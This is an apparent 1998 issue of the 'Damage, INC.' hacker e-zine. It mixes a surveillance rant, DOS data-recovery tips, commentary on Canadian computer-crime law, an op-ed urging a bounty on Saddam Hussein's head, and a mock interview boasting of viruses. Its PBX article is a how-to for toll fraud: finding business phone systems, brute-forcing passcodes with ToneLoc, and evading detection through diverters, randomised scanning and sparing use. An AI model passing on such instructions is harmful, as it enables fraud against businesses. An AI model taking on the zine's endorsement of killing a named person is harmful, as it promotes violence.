+ people will always have differing opinions and we accept that.
+ We are giving you more credit than the mass media ever will. To
+ them, everyone is just a zombie with money that they can exploit
+ in order to profit. They don't perceive us to be intelligent
+ individuals, but rather a group of naive, gullible idiots that
+ they can use and influence at will. They look at citizens as
+ being potential consumers with expendable income.
+
+ Always remember, ignorance is deadly. We need more enlightened,
+ open minded people that are willing to combat the ignorant that
+ exist in "society". The greatest weapon that you can possess is
+ being an informed person that's willing to go against the grain.
+
+
+BIG BROTHER BASHING - {BIG BROTHER}
+A plastic, microchip controlled world:
+
+The world is made of plastic and microchips are everywhere. Instead of being
+called Earth, it should be renamed to "The Plastic Planet". Why anyone would
+refer to this as the "blue planet" is beyond me. It's more like the microchip
+controlled rock that's spiralling aimlessly in orbit out of control. That is,
+we are not the ones in control. In fact, plastic cards are the norm and tiny
+microchips are in everything now... which makes Big Brother's job of controlling
+our lives much easier. Soon Big Brother will have total control over us. Any
+information that they desire will be readily available to them. Indeed, it'll
+be at their proverbial fingertips. They'll be able to access literally any
+data they want instantly. "How is that possible?" I'll explain. Nothing is
+safe anymore. "Why not?" The advancements in technology have allowed the
+impossible to become common. Gathering data on individuals was once a very
+difficult task to perform. That is no longer the case. "What is wrong with
+plastic cards and microchips?" I will attempt to answer all of these questions
+so that you can form your own opinions about Big Brother from an informed
+standpoint.
+
+Microchips are now smaller and faster than ever before. We are entering a new
+age. Some refer to it as being a "Brave New World" (which is a reference to
+a classic book by the way). Others fear that Big Brother will abuse this new
+technology. Obviously, Big Brother is already embracing and exploiting the
+"Digital Revolution". Recently, I read an article on TIME Magazine's Man of
+the Year: Andrew Grove. In case you are wondering, he's the chairman and CEO
+of Intel. In 1947 the transistor was invented by two Bell Labs scientists in
+New Jersey. Today, a single Intel Pentium II processor chip has 7.5 million
+transistors on it and is able to make 588 million calculations a second. Intel
+and the rest of Silicon Valley aren't just producing microchips that are to be
+used in desktop computers. In fact, much of what they sell has nothing to do
+with what would be deemed a computer at all. Microchips are now commonly used
+in popular convenience appliances like coffee makers, toasters, rice cookers,
+televisions and ovens. Those are just some examples. It has been reported that
+the technology for someone to control their TV using their brain now exists.
+The ubiquitous chip is also in most new cars, cameras, smart cards etc. and is
+even in some pairs of running shoes and jewelry.
+
+According to Andrew Grove, when asked about the role of technology "Technology
+happens," "It's not good, it's not bad. Is steel good or bad?" Sure, Grove is
+a great entrepreneur. Some might even call him a visionary for building Intel
+into a company that is worth an estimated $115 billion with $5.1 billion in
+annual profits. However, is he not responsible... at least to a certain extent
+for how the technology that Intel creates is used? I am by no means trying to
+condemn him for being financially successful. I honestly don't care how wealthy
+Grove (or Bill Gates for that matter) is. I do think that they should be held
+responsible for the products that they produce though. Surely, Andrew Grove, a
+man that lived through the Nazi and SS regime would know how technology such
+as the small, fast microchips that Intel creates can be used by Big Brother
+during this era. Afterall, he was voted Man of the Year for his brilliance,
+leadership and co-founding a huge company that makes nearly 90% of the planet's
+PC microprocessors. He contributed to building Intel into an economic power-
+house. That can't be disputed. Yet, I can't help but wonder about the future
+of the microchip and how it'll be used against us. Already, they can put a
+small chip into pairs of shoes that can store and exchange data. They can put
+a microchip into the stomachs of animals like cows. Logic dictates that humans
+will soon have microchips implanted into their bodies.
+
+Big Brother is smiling and laughing. The collection of data is being made much
+easier for them with the accepted use of plastic smart cards and microchips.
+Technology isn't bad but it can be used for malicious purposes like the invasion
+of someone's privacy. Personally, I want to be able to purchase items without
+Big Brother having a record of every transaction I make. I don't want them to
+have access to all of my financial data, medical data, be able to track my
+movements, or have everything they want at their fingertips. Citizens should
+have the right to privacy and freedom. I won't allow Big Brother to implant a
+microchip in me. Just as, I won't use any smart cards. They aren't safe since
+they contain microchips, can store and transfer data, and make it easy for Big
+Brother to gain information. I suggest you think about the future, how plastic
+smart cards and microchips will be used. Do you want Big Brother to have total
+control over you? It is possible. Hoping that it won't become a reality or
+ignoring it won't make it go away. That is the reason that nothing is safe,
+secure or private anymore. Big Brother has plastic cards and silicon microchips
+to thank for their greatest wish becoming possible.
+
+Cameras are everywhere. They're mounted outside on buildings, street corners,
+at intersections on traffic lights, above ATM machines etc. They are also
+inside of many buildings (retail and commercial stores, offices, airports, most
+banks etc.) Some cameras are well hidden and are so minuscule that they're
+almost undetectable. Eventually, you won't be able to walk in an isolated,
+unpopulated rural area without knowing or feeling that you're being watched.
+Everything that you do will be recorded. The inside of an average Las Vegas
+casino, with its hundreds of security cameras scoping out every square inch of
+the establishment... panning and zooming in on gamblers could easily become the
+model used by Big Brother. Afterall, why wouldn't Big Brother study the way
+that casinos monitor people and then copy them? It would be extremely cost
+effective for them to employ the same system(s) used by casinos elsewhere. Of
+course, Big Brother would use them to track and monitor the actions of innocent
+citizens for purposes of control and power. If nothing else, it is definitely
+something that you should think about. Never assume that you have privacy or
+take it for granted.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1998.
+
+
+BLACKENED'S TIP OF THE MONTH - {BLACKENED}
+Data recovery techniques:
+
+Disclaimer:
+If you use any of these data recovery techniques, and the result is that you
+lose data, Damage, INC. isn't responsible. They're just tips that should work
+if they're properly applied. However, they won't remedy every catastrophic
+situation. They should be followed precisely and only used when absolutely
+necessary. For example, you accidentally executed a trojan and want to attempt
+to recover some of the crucial, important data. Basically, you should only
+use the methods below as a last resort. ;)
+
+Now that I've established when to use these data recovery techniques, I will
+now discuss certain possible situations and problems. Many newbies have asked
+me how to "fix their hard drive". First, I ask them what problems they have
+encountered. Usually, they reply that their hard drive "won't boot anymore".
+Obviously, I tell them to try booting up their system from a bootable floppy,
+switch to C:, execute FDISK /MBR (replaces the Master Boot Record), remove the
+floppy and then reboot. Of course, that only repairs one problem and there
+can be many. If the user ran a trojan, they will more than likely have several
+other problems with their hard drives. The Media Descriptor Byte can be
+invalid, the Partition Tables, FAT Tables etc. could have been altered etc.
+It's possible that there's been some damage done and data loss. However, you
+might be able to recover everything. Some people make the mistake of loading
+FDISK and using FORMAT C: immediately. They assume that because they get the
+DOS error message "Invalid drive specification" when they try to change to C:
+and can't access the drive, that it means drive C: is done in. That's simply
+not true. There's always a chance for data recovery. ;)
+
+If you receive that error message, execute FDISK on a floppy disk. (Hopefully
+you have a bootable MS-DOS backup disk. If you don't, I suggest you make one).
+If there are NON-DOS partitions that the trojan created, delete them. If the
+partition table was nuked, create a new one that is the same size as the
+previous one that existed. (ie, if you have a 1 gig hard drive and it wasn't
+partitioned into two drive letters, then create a new 1 gig partition). FDISK
+doesn't "destroy" any data. Ignore the warning message that says all data on
+the current partition will be destroyed. Don't worry, many people are under
+that misconception and fear FDISK. Then reboot the system. If there are still
+problems, then it's probably due to the FAT tables being destroyed. It's very
+common for trojans to overwrite and corrupt the FAT tables. Basically, they're
+an easy target. In case you are wondering, there are two FAT tables
+(File Allocation Tables) per hard drive. The second FAT is an exact duplicate
+copy of the first. In order to repair them, you'll need to use Norton Disk
+Doctor (or a similar product). That is, unless you know how to manually
+repair your FAT Tables etc. with a disk editor. ;) If you do, use Norton
+DiskEdit or the disk editor of your choice. At any rate, that's a good way to
+check out the damage that's been done... since you can view the data that has
+been overwritten etc. before you decide to do anything.
+
+Norton Disk Doctor might report many errors with your hard drive(s). It will
+report any problems that it finds and prompt you to fix any areas that it
+determines to be invalid. This is the final step in this data recovery
+technique. There is no turning back. Do not allow Norton Disk Doctor to repair
+any Partition or Boot Sector errors it may encounter because FDISK has corrected
+them (if you followed my instructions properly). Allow Norton Disk Doctor to
+repair errors to the Media Descriptor Byte, FAT Tables, files etc. Once Norton
+Disk Doctor has completed repairs, you may have recovered all of the data... or
+you may have to look for your backup disks. It all depends on what type of
+damage the trojan did.
+
+Damage, INC. has found that the best results are obtained from this technique if
+the trojan hasn't damaged the hard drive's directory structure. Obviously, it
+makes it much easier for Norton Disk Doctor to recover the FAT Tables etc. Good
+luck, and be sure to make backups of all of your critical data.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1998.
+
+
+CONSPIRACIES AND COVERUPS - {COVERUPS}
+Bill C-17: The Thought Police are here.
+
+Disclaimer:
+I was not able to obtain an up-to-date copy of the Criminal Code of Canada. I
+found an old copy on the Electronic Frontier Foundation of Canada's web site.
+I manually added the Bill C-17 (35th session) amendments by referring to the
+copy I got from the Government of Canada web site. I also removed french
+definitions in section 342.1 since they are useless. If there is any
+misinformation, the above sources are responsible for it.
+
+I will show you sections 342.1 and 342.2 of the Criminal Code. Section 342.1
+deals with "illegal" computer usage. The altered section 342.1 is listed below.
+Bill C-17 additions will be denoted with the prefix [C-17].
+
+ Unauthorized use of a computer
+
+ 342.1 (1) Every one who, fraudulently and without colour of right,
+
+ (a) obtains, directly or indirectly, any computer service,
+
+In one sense, this "anti-hacking" law is a fucking joke. However, since it is
+so intentionally vague, and the Code's definition of `computer service' is so
+ambiguous, it is more than enough to send you to the cop shop and beyond.
+
+ (b) by means of an electro-magnetic, acoustic, mechanical or other device,
+ intercepts or causes to be intercepted, directly or indirectly, any function of
+ a computer system
+
+This section is extremely vague and unclear. However, I'll attempt to explain
+it according to my own understanding of what is written. It's illegal to
+directly or indirectly obtain access to any computer service (ISPs etc.) by
+using any "device". By device, it sounds like they are referring to electro-
+magnetic card readers, using a fake or stolen/fraudulent credit card (carding),
+uses an acoustic (listening device/bugs etc.) to get accounts or any other
+device that enables them to intercept any information relating to the function
+of a computer system. Basically, you can't do shit without it being an illegal
+act. As for the mechanical, any boxes, taps, etc. are illegal to use directly
+or indirectly. Even if you aren't intentionally trying to do that, it is still
+considered to be illegal according to the above section 342.1(b).
+
+ (c) uses or causes to be used, directly or indirectly, a computer system with
+ intent to commit an offence under paragraph (a) or (b) or an offence under
+ section 430 in relation to data or a computer system, or
+
+If anyone intends to gain illegal access to a computer system, they can get
+burned for it. This section is the bane of wannabe hackers that don't know what
+the fuck they are doing. They don't gain access to a computer system, but can
+potentially face the same penalty that a real hacker would.
+
+Section 430 deals with damaging computer data to make it unintelligible, in part
+or fully. Haha. Section 430 was once typed into an auto-message by a 519 sysop
+in an extremely pathetic attempt to intimidate Damage, INC. All it did was make
+us shake our heads... and that intimidated him. ;-)
+
+ [C-17] (d) uses, possesses, traffics in or permits another person to have
+ access to a computer password that would enable a person to commit an offence
+ under paragraph (a), (b) or (c)
+
+Yes, you read this correctly... it is a criminal offence to possess a password
+that could be used to enable a person to commit an offence listed above. Hell,
+wouldn't that include every Internet user and BBSer? Fuck the laws created by
+Canada's "Inner Party." You can be branded a criminal by having the *means* to
+commit an offense. It is because of these laws that the encryption of sensitive
+data such as passwords is extremely important...if not critical.
+
+If two friends share a computer password it makes them both "criminals." The
+first friend who owns the account would be busted under 321.1(d), and the other
+friend that uses the account is charged under 321.1(a). Both are subject to the
+same potential penalty listed below.
+
+ is guilty of an indictable offence and liable to imprisonment for a term not
+ exceeding ten years, or is guilty of an offence punishable on summary
+ conviction.
+
+If you were convicted of anything above, you could be put in jail for ten years
+if the judge wanted to "make an example out of you" in order to "deter others."
+
+Below are the definitions to the various terms in section 342.1. Unfortunately,
+I don't have the space to criticize each term individually. It isn't a surprise
+to me that these definitions are needlessly cryptic.
+
+ Definitions
+
+ (2) In this section,
+
+ [C-17] "computer password" means any data by which a computer service or
+ computer system is capable of being obtained or used;
+
+ "computer program" means data representing instructions or statements that,
+ when executed in a computer system, causes the computer system to perform a
+ function;
+
+ "computer service" includes data processing and the storage or retrieval of
+ data;
+
+ "computer system" means a device that, or a group of interconnected or related
+ devices one or more of which,
+
+ (a) contains computer programs or other data, and
+
+ (b) pursuant to computer programs,
+
+ (i) performs logic and control, and
+
+ (ii) may perform any other function;
+
+ "data" means representations of information or of concepts that are being
+ prepared or have been prepared in a form suitable for use in a computer system;
+
+ "electro-magnetic, acoustic, mechanical or other device" means any device or
+ apparatus that is used or is capable of being used to intercept any function of
+ a computer system, but does not include a hearing aid used to correct subnormal
+ hearing of the user to not better than normal hearing;
+
+ "function" includes logic, control, arithmetic, deletion, storage and retrieval
+ and communication or telecommunication to, from or within a computer system;
+
+ "intercept" includes listen to or record a function of a computer system, or
+ acquire the substance, meaning or purport thereof.
+
+ [C-17] "traffic" means, in respect of a computer password, to sell, export from
+ or import into Canada, distribute or deal with in any other way.
+
+Section 342.2 is listed below. This section is another Bill C-17 addition.
+
+ 342.2 (1) Every person who, without lawful justification or excuse, makes,
+ possesses, sells, offers for sale or distributes any instrument or device or
+ any component thereof, the design of which renders it primarily useful for
+ committing an offence under section 342.1, under circumstances that give rise
+ to a reasonable inference that the instrument, device or component has been
+ used or is or was intended to be used to commit an offence contrary to that
+ section,
+
+ (a) is guilty of an indictable offence and liable to
+ imprisonment for a term not exceeding two years; or
+
+ (b) is guilty of an offence punishable on summary
+ conviction.
+
+This is yet another disturbing section of the Criminal Code. It is a conspiracy
+to make it a criminal act to possess or share knowledge that could be used to
+commit an offense under 342.1. The only way a person could get off is to
+attempt to prove that a person charged under 342.1 didn't get the means to
+perform the "criminal act" from them. Also, what is a "instrument, device or
+component?" under this section? A h/p/a/c/v/t BBS? The Damage, INC.
+Newsletter? A conversation intercepted by Big Brother and the Thought Police?
+It all depends on a judge's interpretation of 342.2.
+
+Did you notice the words "without lawful justification or excuse" at the
+beginning of section 342.2? My interpretation of that phrase is this is a
+loophole for the police. They can "make, possess, sell, offer for sale or
+distribute any instrument or device" in order to access a suspect's computer
+system, etc.
+
+Section 342.2(2) (not listed) pertains to the forfeiture of "instruments or
+devices" that were used under subsection (1). In the name of "Her Majesty,"
+the police can use a convict's equipment, or have an auction to finance their
+next staff party. Of course that is in addition to the two year prison
+sentence.
+
+This concludes our look at Criminal Code section 342. It is much more than
+busting a hacker that gets caught. It is a conspiracy to imprison all of us
+"dissidents" that have the means and knowledge to commit an offense under 342.1
+or 342.2. Busting a 16 year-old kid under section 342 is one thing, but they
+can't stop intelligent, experienced hackers. That is the fact that they are
+attempting to coverup in a lame attempt to make computer service providers
+(like ISPs) feel "secure." Intimidation doesn't work Big Brother! ;-)
+
+Written by Shatazar ú Damage, INC. (C)opyright 1998.
+
+
+CORRUPTION AND GREED - {GREED}
+Saddam Hussein: A greedy, defiant dictator:
+
+The Gulf War ended many years ago, yet Saddam Hussein is still in power. He
+not only controls Iraq and its people, he's still considered to be a powerful,
+influential leader in the Middle East. Saddam Hussein continues to make
+threats against the United States and is as defiant as ever. Hussein won't
+comply with the U.N. resolutions and is blocking the weapons inspection teams.
+Some are calling for an assassination of Hussein. They want Clinton to issue
+the order to kill Saddam. Others are advising that a military strike is needed.
+A final showdown seems inevitable.
+
+Obviously, Hussein is an enemy and a threat to the world that cannot be ignored
+by other nations. He still has biological and chemical weapons hidden in Iraq.
+His willingness to use them can't be questioned, since he used mustard gas
+against his own people in the past. We also know that he has Anthrax (an
+estimated 400 kg, one gram can kill millions), vast quantities of VX nerve gas,
+Botulinum (a potent toxin that paralyzes the victim) and Aflatoxin. Hussein
+has the ability to produce more Anthrax etc. He's not stockpiling chemical
+and biological weapons for nothing. Hussein intends to unleash them against
+his enemies. The most likely scenario would be for him to target a U.S. city
+and use terrorists to deliver the weapons. In other words, he wouldn't just
+launch a SCUD missile or attack through any obvious means. Saddam Hussein knows
+that he doesn't have the military power to defend against or defeat the U.S.
+with conventional weapons, so he's developed other methods.
+
+Personally, I don't think that Clinton is strong enough to follow through and
+take out Hussein's ability to wage war. He has enough problems of his own
+with his presidency. I don't want this article to be all about weapons, the
+possibility of air strikes and military action against Iraq etc. though. The
+main reason that I wanted to write this article is to describe Hussein's greed,
+corruptness and defiance. The mass media just isn't doing a good enough job of
+exposing Saddam Hussein so that people can see his true colors.
+
+Hussein has been reported to own at least 17 different palaces in Iraq. He
+hoards the profits that are made from exporting oil (Iraq's only real natural
+resource). His people have been hurt more by him than by the sanctions against
+Iraq. The Iraqi people were poor before the Gulf War, and they'll remain that
+way as long as their corrupt leader Saddam Hussein is in power. Of course,
+the Iraqi's fear Hussein and are forced to participate in public rallies of
+support, as well as being human shields and protect him. Hussein is an
+extremely paranoid dictator that moves constantly from place to place, uses
+body doubles, uses chemical analyzers on his food before eating, has killed
+many close associates, brother in-laws and many others. He uses fear to make
+sure nobody will try to assassinate him. Hussein also has his own security
+force. Several coup attempts have been made since 1991, but all of them have
+been stopped. Basically, Hussein will do anything in order to stay in power.
+He'll kill anyone that opposes him. He's willing to watch his own people starve
+while he is driven around in expensive Mercedes cars from palace to palace.
+Saddam is a very greedy man that has spent billions of dollars on himself. He
+profits from everything that is sold in Iraq.
+
+Iraq's Deputy Prime Minister Tariq Aziz (Hussein's personal media spokesman
+would be a more suitable title) was quoted as saying "After seven years of
+sanctions, you get desperate...another wave of missiles makes no difference to
+the Iraqi people or the Iraqi government." That's Saddam Hussein's defiance
+speaking, since Aziz is just one of his puppets. Hussein doesn't give a fuck
+if his people are bombed. He'll be hiding in one of his concrete bunkers, safe
+and sound with a smile on his face.
+
+Baghdad is plastered with posters of Saddam Hussein. His use of propaganda
+is legendary and should be the classic model for all dictators. "BUSH IS
+CRIMINAL" is written under a mosaic of former President Bush on the marble floor
+of the al-Rasheed Hotel in Baghdad. Inside is a sign that reads "DOWN DOWN
+AMERICA. USA COUNTRY OF TERRORISM". Hussein loves slogans that bash the
+United States, but then why does he promote terrorism? Why does he use Iraqis
+as human shields? Why does he force them to chant and praise him? Why can't
+he allow free elections? It's because he is greedy, corrupt and afraid. There
+can be no other answer. He's driving his country towards another war, in which
+Iraq cannot win. He knows that, but he's willing to sacrifice thousands of
+lives for nothing. Saddam Hussein is a defiant, insane dictator that will stop
+at nothing to prove himself to the world. He's been on a huge power trip for
+years now. The only way to stop him is to kill him. That is what should be
+done. That is what must be done before he's allowed to use his weapons of mass
+destruction. He's already managed to get support from several countries
+(France, Russia, China), so it's up to the United States to take him out. In my
+opinion, a large bounty should be offered for Hussein's head. Money talks and
+greed can be used to eliminate greed for the common good. Now is the time to
+end his reign of greed and corruption. It is time to send a message to the
+world that defiant dictatorships won't be tolerated anymore.
+
+Written by Blackie Lawless ú Damage, INC. (C)opyright 1998.
+
+
+H/P INFORMATION AND NEWS - {NEWS}
+Phreaking information on PBXs:
+
+This article will discuss the basics of PBXs and is intended for newbie phreaks
+to read and learn from. PBX is an acronym for Private Branch eXchange. From
+this point on, I will refer to them as PBXs for simplicity. They are quite
+common in most area codes. Obviously, some exchanges will have more PBXs than
+others since they contain a lot of businesses that use them. Most large (and
+some small) businesses use them because it eliminates the need for many incoming
+phone lines. The PBX has extensions that can be located in various offices
+throughout a building. Have you ever worked or been in an office with phones
+that have numbered buttons? Some are lit up and others aren't in use. Usually,
+you have to press one of the extension buttons, press 9 and then dial out.
+Most PBXs have passcodes that are 4+ digits. They can be hacked by ToneLoc,
+another code hacker or manually. They aren't the same as extenders. I'm not
+even going to discuss 1-800 extenders, 950s or any LD carriers in this article.
+However, you can use a PBX to call ld which is what they are most commonly used
+for. Unlike 1-800 extenders, many PBXs don't have ANI (Automatic Number
+Identification) so they're relatively safe to hack and use if you know what you
+are doing. First, phreaking safely involves more than just downloading a copy
+of ToneLoc and scanning 1-800-XXX-XXXX from home like a stupid lamer. :)
+You should start off by finding some local PBXs. This doesn't require a lot of
+knowledge to do. You could do some social engineering if you don't want to
+spend hours scanning for tones. For example, many stores like WAL-MART etc.
+have a PBX system. They're also great places to use for scanning 1-800s, but
+I'll save that for another article though. Anyways, if you're standing alone
+by a phone in WAL-MART take a good look at it. If the phone number is written
+on the card, write it down. If the extension buttons are labelled, write those
+numbers down. Try dialing out. Usually that requires dialing either a 9, * or
+# before the number you want to call. It's how you get a dial tone. Some PBXs
+need the passcode before you can try to dial out. Others need a valid passcode
+entered after you dial 9, * or #. PBXs aren't all the same. There are many
+different types that you will need to learn about. Just as, you'll have to
+determine the number of digits the passcode is before you attempt to hack it.
+
+The best way to do that is to experiment with the PBX by hand dialing it from a
+phone. If it's a 1-800 PBX, you can use a pay phone. If it's a local PBX, just
+use a phone at a store or dial from home through a diverter. Make sure you're
+using a good diverter by checking it with an ANI first. You can also call the
+extensions of PBXs. For example, if you are in WAL-MART and have access to a
+phone you can push a button or dial the extension number. The ways in which to
+do that vary. Try dialing "100" or "#100". Or remotely, dial ACN+XXX-XXXX then
+"100" or whatever extension you want. The first is how the employees call from
+desk to desk. The second is how you can call someone directly at their desk if
+you know their extension number. It's fairly simple. I'm sure you've seen
+commercials on TV that give a 1-800 number and an extension to talk to a sales
+rep or operator number. That's just an example. 1-800 PBXs, Voice Message
+Systems etc. are very prevalent these days with companies and are easy to find
+on packages, in magazines etc.
+
+Businesses use PBXs to save money and to make things more convenient and
+efficient for their employees. For example, if Joe Lamer works at a company
+and he needs to make long distance business calls from home at night... he can
+dial out through the company's PBX and the ld will be billed to the company.
+That way, he doesn't have to pay for making business calls from home, use a
+calling card, or go through the hassle of getting his phone expenses paid for
+each month. (ie, the company doesn't have to go through his phone bill every
+month and repay him for the ld business calls he's made). Basically, it makes
+things simpler. This not only benefits Joe Lamer, but also us phreaks. We can
+find the PBX, hack it, and use it to call ld. :) If you do find and hack a
+local PBX, don't abuse it by making hundreds of ld calls. Even if they don't
+have ANI and don't trace you, it is best to use the PBX sparingly. That way,
+you won't get caught and it will last (won't change, nobody will notice, they
+won't get ANI etc.) In other words, don't make 1,000 ld calls per month using
+a PBX to different area codes all over the world. Make a few calls through the
+PBX per month and it won't get noticed. That way, you won't be detected and
+will be able to call ld for free using it. There are also some other things
+that you should keep in mind. For example, use ToneLoc cautiously when scanning
+and hacking PBXs. If you're trying to hack a 5 digit passcode, don't allow
+ToneLoc to make 1,000 attempts in one session/night. Don't scan or hack
+sequentially either. Don't be paranoid, just eliminate any obvious methods and
+use common sense when hacking or phreaking. If you're desperate and want to
+do something like scan 1-800s from home, hand dial using a phone. Pick random
+numbers. Look for different tones, ringbacks, dial tones or anything that gives
+a unique result. You might find a few VMBs, ANIs, extenders etc. Write down
+all of the numbers you dialed and work on hacking the useful ones later. Alter
+the amount of time between your dials and limit yourself to calling ten 1-800s
+or so in a night. That makes it less suspicious. Don't use any patterns while
+dialing that can be picked up. Use as much randomization as possible. If you
+try to scan too many 1-800s at a time, you'll get busted eventually. Avoid
+calling the 1-800s again that are of no use to you. It's also a good idea to
+divide the numbers you want to scan with another phreak that you trust and work
+together. That way, you don't have to scan for quite as long, can get just as
+many codes and it's safer. Extenders usually tell you what to do like "Enter
+your passcode", as do some diverters. Some are vague and don't give you as many
+prompts and instructions. Use your imagination, logic and be creative. If you
+already have some phreaking experience, try using what has worked for you in the
+past in order to hack them. Listen to the tones and beeps carefully. They can
+give you hints as to what is required (passcode, ACN, the order, how long the
+passcode is). Usually you're given a few seconds more than required to enter a
+passcode. So, that's how you can determine the amount of digits. Many
+extenders will give an error message "That passcode is invalid." PBXs can vary
+since there's more than one type. That makes it difficult to explain everything
+in one short article. I won't discuss access levels, admin, digital switches
+etc. in this article, nor will I give information about specific PBX systems.
+
+There are some major differences between extenders and PBXs. Many extenders are
+1-800s and have ANI, or can only call certain area codes or exchanges. That can
+be limiting if the extender only reaches your own area code or an exchange in
+it. Most PBXs can usually reach any area code. They can be used to call
+outside of your area code, to different countries, or the entire world. Some
+have call block enabled to prevent 1-900 numbers etc. from being dialed, but
+other than that PBXs are generally far reaching. :)
+
+Once you have a PBX, have a valid passcode and are ready to use it there are
+a few precautions that you should take. If your codes are stored in a text
+file, encrypt it. Don't keep pieces of paper containing codes lying around.
+Also, don't post codes in public message bases on boards, sell them, give them
+out to everyone you know to use etc. That is, unless you want the code to
+stop working or even better, get busted by the cops. More than likely, I will
+write about PBXs again in a future issue of the Damage, INC. Newsletter. There
+is just too much information to cover in a single article...and I don't want
+to overwhelm the newbies. Hehe.
+
+In summary, this should give you the basics of PBXs and get you started. I'd
+like to thank BLACKENED for suggesting that I write this article and for giving
+me some ideas and inspiration. Perhaps I will share some of my phreaking
+experiences with readers too. I also want to write about VMBs etc. (some have a
+PBX). If you have any suggestions, leave me Email on AJFA. If it relates to
+h/p, then I'll probably decide to use it. Then everyone that wants to know that
+information and reads my article will benefit.
+
+Written by Blackie Lawless ú Damage, INC. (C)opyright 1998.
+
+
+INTERVIEWS AND INTERROGATIONS - {INTERVIEWS}
+Another Interrogation of Billy Gates: The saga continues.
+
+
+ = BLACKENED = Billy Gates
+ = Blackie Lawless = Receptionist
+ = Shatazar = Micro$oft Lackey
+
+
+ - (Dialing 1-800-MS-SUCKS then #LAME for Billy Gates' extension).
+
+ - Hello? This is Microsoft HQ... Miss Nicholas speaking. Please state
+your business and I'll try to assist you.
+
+ - This is Damage, INC. I demand to speak with Billy Gates immediately.
+He knows who we are, so don't try to push the security panic button or
+stonewall us... like you usually do.
+
+ - Yes sir. I'll put you through to Mr. Gates immediately.
+
+ - Hahaha... gotta like the fear in her voice.
+
+ - Billy Gates speaking, What do you want me to do today?
+
+ - This is Damage, INC. and we want to cheapshot you... today and everyday.
+Hahaha. How'd you like reading our last interrogation of you?
+
+ - Oh, it's you Mr. Blackened. I thought my security would stop you from
+disturbing me from my plans and my "vision" to take over the world. I didn't
+enjoy being interrogated and humiliated. Unfortunately, my multi-million
+dollar security force couldn't track you guys down so I could destroy you all.
+
+ - Destroy Damage, INC.? Hahaha! Billy, you must be fucking dreaming
+again. at Gates. Your "security" (said very sarcastically) is a joke.
+I'm calling through your 1-800-MS-SUCKS PBX. You don't even have an ANI.
+If you try to trace my call... you won't be successful since I'm calling
+through a 1-800-MS-BLOWS diverter anyways. ;) Your vision is to fill your
+pockets with as many zombie dollars as possible. That's the extent of your
+lame plan to take over the world.
+
+ - This is Blackie Lawless.. Billy boy. Haha. You probably didn't expect
+Damage, INC. to call you using teleconferencing. I've got a few questions for
+"your lameness". How do you like the court's decision to stop you from
+including Micro$hit Explorer with Windoze 95/98? What are you going to do
+now Billy?
+
+ - Ah, er, uhm, well Mr. Lawless, you don't have a very nice attitude, and
+you don't mince words... a quality in which I don't share in. As for the
+Explorer, I thought I could fight the US Government and I assumed they would
+back down. However, when they started fining me and taking away precious
+Microsoft Monies, it ate me alive. I decided to revert to my cowardly,
+conniving ways and beat a hasty retreat. I'll hide in the shadows, and will
+try to sneak Explorer in a few years down the road when the zombies aren't
+looking.
+
+ - Hahaha. Damage, INC. will be around to stop you though. Just as, all
+of your neighbours know that Micro$hit sucks... now that it's spray painted
+on your precious lawn at your Seattle "retreat". We'll do anything in our
+power to make people aware of your schemes and scams... and take money away
+from you at every opportunity. By the way, your little Micro$oft Network is
+currently down. You better get your "internet experts" working on the
+servers. Haha. They'll soon find out that there's a nice, stealthful virus
+that is infecting them... courtesy of Damage, INC. ;)
+
+ - Haha. Yeah, and it's too bad you don't like my attitude Billy. That's
+really too fucking bad. It's also a shame that most of Micro$oft's software
+in Chicago has been infected as well. ;)
+
+ - Yeah Gates, you pathetic weasel. This is Shatazar of Damage, INC. Your
+totally outclassed and outnumbered by Damage, INC. If you are afraid of losing
+$1 million per day, you'll be really done in when Damage, INC. destroys you.
+
+ - What? You bad guys vandalized my artificial cybergrass lawn with
+computer controlled growth mechanisms? You meanies! And the Microsoft Network
+is damaged? That is nothing new. My experts lack the tremendous vision that
+I have. Plus I don't have the money to invest in better servers, so they'll
+have to try to recover from your attack. I still have some faith in my well
+paid lackeys. As for the people in Chicago getting infected software, that
+doesn't mean anything. Windows 95 is preprogrammed with a life cycle, so that
+my zombie customers will by new version after new version without question.
+They keep giving me money for such tremendously graphical software. As for my
+money, I need it so I couldn't afford the fine. I'll have to take my chances
+against Damage, INC. I can always buy my way out. Tehehe.
+
+ - Listen you fucking geek, I told you the last time that you ain't seen
+nothin' yet. I meant exactly what I said. You won't recover from our
+attacks. Your paid lackies are no match for Damage, INC. Winblows 95 is just
+and overrated, inefficient, hard drive hogging, memory wasting piece of
+shit... that crashes daily. It's programmed in Visual Basic for fuck sakes.
+Take your chances? What the fuck are you talking about? Do you think that you
+can play the odds or go with the odds? Hahaha.
+
+ - Mr. Gates, I've just received an important memo. Microsoft's stock has
+just fallen over 10 points in the stock exchange. The rest of the stock
+market seems oblivious to our crash and is doing quite well. Could it be that
+Damage, INC. is involved in some way? (conversation heard in the background).
+
+ - Hahaha! I heard that! ;) Damage, INC. is *definitely* involved. Our
+plan is working perfectly... and soon Micro$oft stock will be worthless. I
+love it.
+
+ - I warned you Gates. Now what do you have to say Billy? Are you going
+to spew more rhetoric and mince words? Hahaha.
+
+ - Yeah Gates, how do you like them `apples.' Damage, INC. did a `Job' on
+you. Hahaha.
+
+ - Ohnonono! What has happened to my company, built on influence and
+deceit? My vision has been abandoned by the blind masses! No longer can I
+dream of having Windows on every computer screen, cell phone, and toaster!
+Why? Why has it all gone wrong? Why has Damage, INC. destroyed Microsoft? I
+just wanted to make an honest living. Without my money, I can no longer bully
+computer distributors to put Microsoft products in all systems. All I am is a
+college drop out!!! I have no skills other than influencing and being greedy
+beyond all measure!
+
+ - Sorry to interrupt you Mr. Geek... errr.. I meant Mr. Gates. We've
+been flooded with Email messages, concerning the huge drop in Microsoft stock.
+It's almost worthless now, and many stockholders are sending angry, threatening
+messages addressed to you. I have been trying to reply to them all in a feeble
+attempt to calm them down... and brainwash them into believing that Microsoft's
+stock is still "on top". However, I simply can't keep up! It's insane!
+They're all panicking and selling as fast as they can... Is this the end of the
+world? What should I do? I need help. Please help! Mr. Gates, give me
+instructions. I'll be your lackey until the end. You can trust me not to
+leave your side... but I don't know what to do. This has *never* happened
+before! Who or what could cause this?
+
+ - Hahahaha. Damage, INC. is responsible. ;)
+
+ - Hahaha. Our plan is working. Micro$oft will be stopped. Micro$oft
+is in panic mode. Soon it'll be done in. I can't wait for its final
+destruction... Hehe.
+
+ - Haha. This is hilarious. Gates has been crushed under the weight of
+his own greed and ego. His head has been cut off, let's enjoy watching him
+run around. ;-)
+
